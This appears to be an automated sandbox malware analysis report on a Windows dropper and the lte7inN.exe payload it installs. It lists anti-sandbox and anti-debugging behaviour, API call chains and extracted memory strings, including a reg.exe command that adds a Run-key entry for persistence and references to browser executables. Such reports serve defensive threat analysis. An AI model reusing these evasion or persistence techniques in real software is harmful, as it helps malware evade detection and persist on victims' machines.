Code function: 16_2_03231358 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

16_2_03231358

Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\OpenWith.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: lte7inN.exe, 00000010.00000002.3136124957.00000000008B4000.00000020.00000001.01000000.0000000A.sdmp, lte7inN.exe, 00000011.00000002.2672194027.00000000008B4000.00000020.00000001.01000000.0000000A.sdmp, lte7inN.exe, 00000012.00000002.2745749050.00000000008B4000.00000020.00000001.01000000.0000000A.sdmp

Binary or memory string: SBIEDLL.DLL

Tries to detect virtualization through RDTSC time measurements

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	RDTSC instruction interceptor: First address: BC92C8 second address: BC92CF instructions: 0x00000000 rdtsc 0x00000002 xor cl, FFFFFF9Ah 0x00000005 mov eax, ebp 0x00000007 rdtsc
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	RDTSC instruction interceptor: First address: BF0B47 second address: 102AF4A instructions: 0x00000000 rdtsc 0x00000002 pop ecx 0x00000003 movzx eax, di 0x00000006 pop eax 0x00000007 cwd 0x00000009 jmp 00007F08553F9D97h 0x0000000e pop esi 0x0000000f movzx edx, cx 0x00000012 jmp 00007F08551A7FD8h 0x00000017 pop ebx 0x00000018 xchg dh, dl 0x0000001a movsx edx, di 0x0000001d pop edx 0x0000001e jmp 00007F085525118Ah 0x00000023 ret 0x00000024 popfd 0x00000025 rdtsc
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	RDTSC instruction interceptor: First address: 9BEAAF second address: 9BEAB3 instructions: 0x00000000 rdtsc 0x00000002 cwde 0x00000003 pop edi 0x00000004 rdtsc
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	RDTSC instruction interceptor: First address: 9BEAB3 second address: 8F4D48 instructions: 0x00000000 rdtsc 0x00000002 mov ebp, 3E4A5909h 0x00000007 pop ebp 0x00000008 xchg bh, bl 0x0000000a jmp 00007F08551F5E5Ah 0x0000000f pop ebx 0x00000010 rdtsc

Tries to evade analysis by execution special instruction (VM detection)

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe

Special instruction interceptor: First address: 102AF4A instructions rdtsc caused by: RDTSC with Trap Flag (TF)

Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Dropped PE file which has not been started: C:\Program Files (x86)\pR4cysw\VCRUNTIME140.dll			Jump to dropped file
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Dropped PE file which has not been started: C:\Program Files (x86)\pR4cysw\MSVCP140.dll			Jump to dropped file

Source: C:\Users\user\Desktop\3Kel6xErOk.exe

Evasive API call chain: RegOpenKey,DecisionNodes,Sleep

graph_5-51345

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

Source: C:\Users\user\Desktop\3Kel6xErOk.exe	API coverage: 6.5 %
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	API coverage: 2.1 %
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	API coverage: 1.0 %

Source: C:\Users\user\Desktop\3Kel6xErOk.exe TID: 7424	Thread sleep time: -93000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe TID: 1920	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe TID: 1920	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CA4270F GetLocalTime followed by cmp: cmp eax, 0ch and CTI: jle 6CA42771h		16_2_6CA4270F
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CA4270F GetLocalTime followed by cmp: cmp eax, 0ch and CTI: jle 6CA42771h		17_2_6CA4270F

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_03225374 lstrcpy,lstrcat,CreateDirectoryA,GetLastError,FindFirstFileA,lstrcpy,lstrcat,lstrcat,lstrcpy,lstrcat,lstrcat,lstrcmp,lstrcmp,CreateDirectoryA,GetLastError,CopyFileA,_strstr,_strstr,CreateFileA,CreatePipe,CreateProcessA,_strstr,_strstr,__alldvrm,SetFilePointer,ReadFile,CreatePipe,CreateProcessA,ReadFile,ReadFile,_strstr,_strstr,__alldvrm,SetFilePointer,ReadFile,FindNextFileA,std::ios_base::_Ios_base_dtor,	16_2_03225374
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_032213C4 FindFirstFileA,FindClose,RemoveDirectoryA,Sleep,CreateFileA,GetFileSize,CreateFileA,GetFileSize,SetFilePointer,ReadFile,LocalAlloc,LocalFree,CloseHandle,Sleep,	16_2_032213C4
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_0321C134 lstrcpy,FindFirstFileA,lstrcpy,_strstr,LocalAlloc,LocalReAlloc,LocalSize,Sleep,LocalFree,FindNextFileA,FindClose,	16_2_0321C134
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_03225194 lstrcpy,CreateDirectoryA,FindFirstFileA,lstrcpy,lstrcpy,CreateDirectoryA,CopyFileA,FindNextFileA,	16_2_03225194
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_0321C0BD lstrcpy,FindFirstFileA,lstrcpy,FindNextFileA,FindClose,	16_2_0321C0BD
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_0321C0DA lstrcpy,FindFirstFileA,lstrcpy,FindNextFileA,FindClose,	16_2_0321C0DA
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_0321D754 FindFirstFileA,FindClose,CreateFileA,Sleep,CreateFileA,CloseHandle,GetLastError,wsprintfA,	16_2_0321D754
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_0321D4F4 lstrlen,wsprintfA,FindFirstFileA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	16_2_0321D4F4
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_0322C4C4 RegOpenKeyExA,RegCloseKey,GetTickCount,gethostname,GetUserNameA,GetLastError,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,lstrcpy,lstrlen,OpenSCManagerA,wsprintfA,OpenServiceA,QueryServiceStatus,wsprintfA,lstrlen,GetModuleFileNameA,SHGetSpecialFolderPathA,FindFirstFileA,FindNextFileA,FindNextFileA,FindNextFileA,EnumDisplaySettingsA,_strftime,OpenSCManagerA,QueryServiceStatus,OpenSCManagerA,QueryServiceStatus,GetLocaleInfoW,WideCharToMultiByte,WideCharToMultiByte,	16_2_0322C4C4
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_0324EAFC FindFirstFileExW,	16_2_0324EAFC
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_0321CAD4 LocalAlloc,wsprintfA,FindFirstFileA,LocalReAlloc,lstrlen,FindNextFileA,LocalFree,FindClose,	16_2_0321CAD4
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_0321CE14 FindFirstFileA,CreateDirectoryA,CopyFileA,FindNextFileA,FindClose,	16_2_0321CE14
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_0321BEB3 FindFirstFileA,FindClose,FindClose,	16_2_0321BEB3
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_0321CCE4 FindFirstFileA,SetFileAttributesA,FindNextFileA,FindClose,RemoveDirectoryA,	16_2_0321CCE4
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_100230CD lstrcpy,FindFirstFileA,lstrcpy,FindNextFileA,FindClose,	16_2_100230CD
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_10023110 lstrcpy,FindFirstFileA,lstrcpy,_strstr,LocalAlloc,LocalReAlloc,LocalSize,Sleep,LocalFree,FindNextFileA,FindClose,	16_2_10023110
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_1002C170 lstrcpy,CreateDirectoryA,FindFirstFileA,lstrcpy,lstrcpy,CreateDirectoryA,CopyFileA,FindNextFileA,	16_2_1002C170
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_1002C350 lstrcpy,lstrcat,CreateDirectoryA,GetLastError,FindFirstFileA,lstrcpy,lstrcat,lstrcat,lstrcpy,lstrcat,lstrcat,lstrcmp,lstrcmp,CreateDirectoryA,GetLastError,CopyFileA,_strstr,_strstr,CreateFileA,CreatePipe,CreateProcessA,_strstr,_strstr,__alldvrm,SetFilePointer,ReadFile,CreatePipe,CreateProcessA,ReadFile,ReadFile,_strstr,_strstr,__alldvrm,SetFilePointer,ReadFile,FindNextFileA,std::ios_base::_Ios_base_dtor,	16_2_1002C350
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_100283A0 FindFirstFileA,FindClose,RemoveDirectoryA,Sleep,CreateFileA,GetFileSize,CreateFileA,GetFileSize,SetFilePointer,ReadFile,LocalAlloc,LocalFree,CloseHandle,Sleep,	16_2_100283A0
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_100334A0 RegOpenKeyExA,RegCloseKey,GetTickCount,gethostname,GetUserNameA,GetLastError,GlobalMemoryStatusEx,GetDriveTypeA,GetDiskFreeSpaceExA,lstrcpy,lstrlen,OpenSCManagerA,wsprintfA,OpenServiceA,QueryServiceStatus,wsprintfA,lstrlen,GetModuleFileNameA,SHGetSpecialFolderPathA,FindFirstFileA,FindNextFileA,FindNextFileA,FindNextFileA,EnumDisplaySettingsA,_strftime,OpenSCManagerA,QueryServiceStatus,OpenSCManagerA,QueryServiceStatus,GetLocaleInfoW,WideCharToMultiByte,WideCharToMultiByte,	16_2_100334A0
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_100244D0 lstrlen,wsprintfA,FindFirstFileA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	16_2_100244D0
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_10024730 FindFirstFileA,FindClose,CreateFileA,Sleep,CreateFileA,CloseHandle,GetLastError,wsprintfA,	16_2_10024730
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_10023AB0 LocalAlloc,wsprintfA,FindFirstFileA,LocalReAlloc,lstrlen,FindNextFileA,LocalFree,FindClose,	16_2_10023AB0
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_10055AD8 FindFirstFileExW,	16_2_10055AD8
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_10023CC0 FindFirstFileA,SetFileAttributesA,FindNextFileA,FindClose,RemoveDirectoryA,	16_2_10023CC0
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_10023DF0 FindFirstFileA,CreateDirectoryA,CopyFileA,FindNextFileA,FindClose,	16_2_10023DF0

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe

Code function: 16_2_03220404 GetLogicalDriveStringsA,QueryDosDeviceA,lstrlen,lstrcpy,lstrcpy,lstrcat,

16_2_03220404

Source: 3Kel6xErOk.exe, 00000005.00000002.2575064675.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: lte7inN.exe, 00000010.00000002.3136764619.00000000014B2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW\|
Source: 3Kel6xErOk.exe, 00000005.00000003.2542477791.00000000008CD000.00000004.00000020.00020000.00000000.sdmp, 3Kel6xErOk.exe, 00000005.00000002.2575064675.00000000008CD000.00000004.00000020.00020000.00000000.sdmp, 3Kel6xErOk.exe, 00000005.00000002.2575064675.000000000084E000.00000004.00000020.00020000.00000000.sdmp, lte7inN.exe, 00000010.00000002.3136764619.00000000014B2000.00000004.00000020.00020000.00000000.sdmp, lte7inN.exe, 00000010.00000002.3136764619.000000000146E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 3Kel6xErOk.exe, 00000005.00000002.2575064675.00000000008BA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: 3Kel6xErOk.exe, 00000005.00000003.2542477791.00000000008CD000.00000004.00000020.00020000.00000000.sdmp, 3Kel6xErOk.exe, 00000005.00000002.2575064675.00000000008CD000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW,

Source: C:\Users\user\Desktop\3Kel6xErOk.exe	API call chain: ExitProcess graph end node	graph_5-51795
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	API call chain: ExitProcess graph end node	graph_16-145213
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	API call chain: ExitProcess graph end node	graph_16-144497
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	API call chain: ExitProcess graph end node

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Found API chain indicative of debugger detection

Source: C:\Users\user\Desktop\3Kel6xErOk.exe

Debugger detection routine: QueryPerformanceCounter, DebugActiveProcess, DecisionNodes, ExitProcess or Sleep

graph_5-51364

Hides threads from debuggers

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Thread information set: HideFromDebugger	Jump to behavior

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe

System information queried: KernelDebuggerInformation

Jump to behavior

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Process queried: DebugObjectHandle	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Process queried: DebugObjectHandle	Jump to behavior

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe

Code function: 16_2_031F9051 GetNativeSystemInfo,VirtualAlloc,LoadLibraryA,LdrGetProcedureAddress,Sleep,

16_2_031F9051

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe

Code function: 16_2_0321F334 EnumDisplaySettingsA,SystemParametersInfoA,PostMessageA,SystemParametersInfoA,PostMessageA,BlockInput,

16_2_0321F334

Source: C:\Users\user\Desktop\3Kel6xErOk.exe

Code function: 5_2_004440FD IsDebuggerPresent,OutputDebugStringW,

5_2_004440FD

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe

Code function: 16_2_03212F74 GetProcessHeap,RtlAllocateHeap,VirtualAlloc,VirtualAlloc,VirtualFree,VirtualProtect,GetLastError,FormatMessageW,LocalAlloc,OutputDebugStringA,

16_2_03212F74

Source: C:\Users\user\Desktop\3Kel6xErOk.exe

Code function: 5_2_032A2F1A LoadLibraryA,GetProcAddress,

5_2_032A2F1A

Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Code function: 5_2_004443FA mov esi, dword ptr fs:[00000030h]	5_2_004443FA
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Code function: 5_2_00455ADF mov eax, dword ptr fs:[00000030h]	5_2_00455ADF
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Code function: 5_2_032A0B11 mov eax, dword ptr fs:[00000030h]	5_2_032A0B11
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_0324C211 mov eax, dword ptr fs:[00000030h]	16_2_0324C211
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_031F9B31 mov eax, dword ptr fs:[00000030h]	16_2_031F9B31
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_0324489E mov eax, dword ptr fs:[00000030h]	16_2_0324489E
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_100531ED mov eax, dword ptr fs:[00000030h]	16_2_100531ED
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_1004B87A mov eax, dword ptr fs:[00000030h]	16_2_1004B87A

Source: C:\Users\user\Desktop\3Kel6xErOk.exe

Code function: 5_2_00444321 GetProcessHeap,HeapAlloc,InterlockedPopEntrySList,VirtualAlloc,RaiseException,InterlockedPopEntrySList,VirtualFree,InterlockedPushEntrySList,

5_2_00444321

Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Code function: 5_2_0044A110 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_0044A110
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Code function: 5_2_00444CB6 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_00444CB6
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Code function: 5_2_032AAD45 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_032AAD45
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Code function: 5_2_032ADC2A _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_032ADC2A
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Code function: 5_2_1000DC26 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	5_2_1000DC26
Source: C:\Users\user\Desktop\3Kel6xErOk.exe	Code function: 5_2_1000AD41 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	5_2_1000AD41
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CAA1F6A _malloc,std::exception::exception,std::exception::exception,__CxxThrowException@8,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_6CAA1F6A
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CAA6D68 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_6CAA6D68
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_6CAA1F75 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_6CAA1F75
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_0323A32D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_0323A32D
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_032329B3 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_032329B3
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_0323298B IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_0323298B
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_03231C46 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_03231C46
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_10041309 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_10041309
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_1003998F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	16_2_1003998F
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 16_2_10038C22 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_10038C22
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CAA6D68 _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	17_2_6CAA6D68
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CAA1F6A _malloc,std::exception::exception,std::exception::exception,__CxxThrowException@8,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	17_2_6CAA1F6A
Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe	Code function: 17_2_6CAA1F75 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	17_2_6CAA1F75

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe

Code function: 16_2_0321F56C keybd_event,

16_2_0321F56C

Source: C:\Users\user\Desktop\3Kel6xErOk.exe

Process created: C:\Program Files (x86)\pR4cysw\lte7inN.exe "C:\Program Files (x86)\pR4cysw\lte7inN.exe"

Jump to behavior

Source: C:\Program Files (x86)\pR4cysw\lte7inN.exe

16_2_03221A54

Source: 3Kel6xErOk.exe, 00000005.00000002.2576116641.0000000010018000.00000002.00001000.00020000.00000000.sdmp, 3Kel6xErOk.exe, 00000005.00000002.2575734615.00000000032A0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: Pragma: no-cacheGET&AAAAAAAAAAAA$libcef.dll:\v4.0.30319%s%s\%slib%s%slalala123%text/0SafeMonClassSHELL_TrayWndShell_TrayWnd2.lnkreg.exeadd "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v demo /t REG_SZ /d ""file:///BkShadowWndClass1511617181920212223242526272829303132333435363738404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118120121122123124126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160invalid string positionstring too long
Source: lte7inN.exe, 00000010.00000002.3136764619.000000000146E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ","FocusWindow":"Program Manager","group_id":
Source: lte7inN.exe, 00000010.00000002.3136764619.00000000014B2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: 3Kel6xErOk.exe	Binary or memory string: Shell_TrayWNd
Source: 3Kel6xErOk.exe, 3Kel6xErOk.exe, 00000005.00000002.2576116641.0000000010018000.00000002.00001000.00020000.00000000.sdmp, 3Kel6xErOk.exe, 00000005.00000002.2575734615.00000000032A0000.00000040.00001000.00020000.00000000.sdmp, lte7inN.exe, lte7inN.exe, 00000010.00000002.3137201398.0000000002F49000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: 3Kel6xErOk.exe, 3Kel6xErOk.exe, 00000005.00000002.2576116641.0000000010018000.00000002.00001000.00020000.00000000.sdmp, 3Kel6xErOk.exe, 00000005.00000002.2575734615.00000000032A0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: SHELL_TrayWnd
Source: lte7inN.exe, 00000010.00000002.3136764619.000000000146E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ","FocusWindow":"Program Manager","group_id":~$
Source: lte7inN.exe, 00000010.00000002.3137201398.0000000002F49000.00000004.00000020.00020000.00000000.sdmp, lte7inN.exe, 00000010.00000002.3137799741.0000000010064000.00000002.00001000.00020000.00000000.sdmp, lte7inN.exe, 00000010.00000002.3137330090.00000000031F9000.00000040.00000020.00020000.00000000.sdmp	Binary or memory string: -no-remote -profile iexplore.exeTaskbarGlomLevelSoftware\Microsoft\Windows\CurrentVersion\Explorer\Advancedexplorer.exeShell_TrayWnd\rundll32.exe shell32.dll,#61\Microsoft\Edge\msedge.exe\360Chrome\Chrome\secoresdk\\360se6\Application\360se.exe360se6\\Application\360se.exe#32768ntdll.dllRtlCompressBufferRtlGetCompressionWorkSpaceSize%08lX%04lX%lu
Source: 3Kel6xErOk.exe	Binary or memory string: _.lnkimport_autodactimport_regimport_authcookieimport_autologinHIDE_GAMEBOXHIDE_GAMEBOXShell_TrayWNd.lnk/--flashgame -gamename=atlTraceGeneralatlTraceQIatlTraceCOMatlTraceRefcountatlTraceRegistraratlTraceControlsatlTraceWindowingatlTraceDBClientatlTraceHostingatlTraceSnapinatlTraceDBProvideratlTraceAllocationatlTraceNotImplatlTraceTimeatlTraceExceptionatlTraceStencilatlTraceCacheatlTraceMapatlTraceStringatlTraceSecurityatlTraceUtilatlTraceISAPIatlTraceSyncbgarzh-CHScadacseldeesenfrfihuheitiskojanonlptplruroskhrsvsqtrthidurbeuketslltlvvifaazhymkeukaafhifokkmsswkyttuzgupatetamrknmnsakokgldivsyrar-SAca-ESbg-BGcs-CZzh-TWde-DEda-DKen-USel-GRfr-FRfi-FIhu-HUhe-ILit-ITis-ISko-KRja-JPnb-NOnl-NLpt-BRpl-PLru-RUro-ROsk-SKhr-HRsv-SEsq-ALtr-TRth-THid-IDur-PKbe-BYuk-UAet-EEsl-SIlt-LTlv-LVvi-VNfa-IRaz-AZ-Latnhy-AMmk-MKeu-ESxh-ZAtn-ZAaf-ZAzu-ZAfo-FOka-GEmt-MThi-INms-MYse-NOky-KGkk-KZuz-UZ-Latnsw-KEbn-INtt-RUgu-INpa-INte-INta-INml-INkn-INsa-INmr-INcy-GBmn-MNkok-INgl-ESdiv-MVsyr-SYns-ZAquz-BOar-IQmi-NZde-CHzh-CNes-MXen-GBit-CHfr-BEnn-NOnl-BEsr-SP-Latnpt-PTaz-AZ-Cyrlsv-FIms-BNse-SEquz-ECuz-UZ-Cyrlzh-HKar-EGen-AUde-ATfr-CAes-ESse-FIsr-SP-Cyrlar-LYquz-PEde-LUzh-SGes-GTen-CAhr-BAfr-CHar-DZsmj-NOde-LIzh-MOes-CRen-NZbs-BA-Latnfr-LUar-MAsmj-SEes-PAen-IEsr-BA-Latnfr-MCar-TNsma-NOes-DOen-ZAsma-SEsr-BA-Cyrlen-JMar-OMsms-FIes-VEen-CBar-YEsmn-FIes-COen-BZar-SYar-JOes-PEes-ARen-TTen-ZWar-LBar-KWes-ECes-CLen-PHes-UYar-AEes-PYar-BHes-BOar-QAes-HNes-SVes-PRes-NIsrzh-CHTafaraf-zaar-bhar-aear-egar-dzar-joar-iqar-lbar-kwar-maar-lyar-qaar-omar-syar-saar-year-tnaz-az-cyrlazbeaz-az-latnbgbe-bybn-inbg-bgcabs-ba-latncsca-escy-gbcs-czda-dkdade-atdede-dede-chde-lude-lidiv-mvdivel-grelen-auenen-caen-bzen-gben-cben-jmen-ieen-phen-nzen-usen-tten-zwen-zaes-areses-cles-boes-cres-coes-eces-does-gtes-eses-mxes-hnes-paes-nies-pres-pees-sves-pyes-vees-uyet-eeeteu-eseufa-irfafi-fififo-fofofr-befrfr-chfr-cafr-lufr-frwkeWebView*node.dllhtmlexec://jsxmlconsolenetworklogotherdir-xmldirstart-grouptraceend-groupstart-group-collapsedtipassertwarninglogdebugerrorscreenshots\%s%s_%4d%02d%02d_%02d%02d%02d.bmpwbscreenshotsdocument.body.style.overflow='visible'document.body.style.overflow='hidden'http://miniblink.netCookiefile:///http://www.github.com/weolar/miniblink49testinjectcalljavascript:URLdocumentcookietitletestCountmsgBoxwbtestCount

